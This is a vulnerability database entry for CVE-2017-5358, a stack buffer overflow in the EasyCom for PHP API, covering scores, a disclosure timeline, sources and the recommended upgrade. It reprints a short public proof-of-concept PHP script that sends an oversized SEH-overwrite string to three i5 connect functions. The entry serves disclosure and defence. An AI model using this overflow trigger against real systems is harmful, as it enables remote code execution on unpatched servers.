EasyCom PHP API memory corruption

CVSS Meta Temp Score
CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.
Current Exploit Price (≈)
Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.
CTI Interest Score
Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
7.4$0-$5k0.00

A vulnerability was found in EasyCom (unknown version) and classified as critical. This issue affects an unknown code block of the component PHP API. The manipulation with an unknown input leads to a memory corruption vulnerability. Using CWE to declare the problem leads to CWE-119. The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer. Impacted is confidentiality, integrity, and availability. The summary by CVE is:

Stack-based buffer overflows in php_Easycom5_3_0.dll in EasyCom for PHP 4.0.0.29 allows remote attackers to execute arbitrary code via the server argument to the (1) i5_connect, (2) i5_pconnect, or (3) i5_private_connect API function.

The bug was discovered 02/22/2017. The weakness was disclosed 02/22/2017 by John Page (hyp3rlinx) as EasyCom PHP API Stack Buffer Overflow as not defined mailinglist post (Full-Disclosure). The advisory is shared at seclists.org. The identification of this vulnerability is CVE-2017-5358 since 01/13/2017. The exploitation is known to be easy. The attack may be initiated remotely. No form of authentication is needed for a successful exploitation. Technical details are unknown but a public exploit is available.

A public exploit has been developed by John Page and been published immediately after the advisory. The exploit is available at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 62 days. During that time the estimated underground price was around $0-$5k. The code used by the exploit is:

<?php

/* Basic connection to an AS400 iBMI System  */

$payload=str_repeat("A", 4000);
 #BOOM!
$payload=str_repeat("A",1868)."RRRRBBBB".str_repeat("\x90",100);
#SEH

$conn = i5_connect($payload, "QPGMR", "PASSW") or die(i5_errormsg());
 #VULN
$conn = i5_pconnect($payload, 'QSECOFR', 'password', array() );
 #VULN
$conn = i5_private_connect($payload, $user, $password, array());
#VULN

echo 'EasyCom PHP API 0day ' . $conn;

?>

Upgrading eliminates this vulnerability.

The vulnerability is also documented in the vulnerability database at Exploit-DB (41425). The entry 97278 is pretty similar.

Productinfo

Name

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB CVSS-B Score: 🔍
VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 8.5
VulDB Meta Temp Score: 8.0

VulDB Base Score: 7.3
VulDB Temp Score: 6.3
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 9.8
NVD Vector: 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplexityAuthenticationConfidentialityIntegrityAvailability
unlockunlockunlockunlockunlockunlock
unlockunlockunlockunlockunlockunlock
unlockunlockunlockunlockunlockunlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Memory corruption
CWE: CWE-119
ATT&CK: Unknown

Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: John Page
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

0-Dayunlockunlockunlockunlock
Todayunlockunlockunlockunlock

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Upgrade
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Timelineinfo

12/22/2016 🔍
01/13/2017 +22 days 🔍
02/22/2017 +40 days 🔍
02/22/2017 +0 days 🔍
02/22/2017 +0 days 🔍
02/24/2017 +2 days 🔍
02/24/2017 +0 days 🔍
03/15/2017 +19 days 🔍
09/02/2020 +1267 days 🔍

Sourcesinfo

Advisory: EasyCom PHP API Stack Buffer Overflow
Researcher: John Page (hyp3rlinx)
Status: Not defined

CVE: CVE-2017-5358 (🔍)
SecurityFocus: 96419 - EasyCom AS400 PHP API CVE-2017-5358 Buffer Overflow Vulnerability
OSVDB: - CVE-2017-5358 - EasyCom for PHP - Buffer Overflow Issue

scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍

Entryinfo

Created: 02/24/2017 16:38
Updated: 09/02/2020 12:42
Changes: 02/24/2017 16:38 (69), 09/02/2020 12:42 (5)
Complete: 🔍

Discussion

No comments yet. Languages: en.

Please log in to comment.

Might our Artificial Intelligence support you?

Check our Alexa App!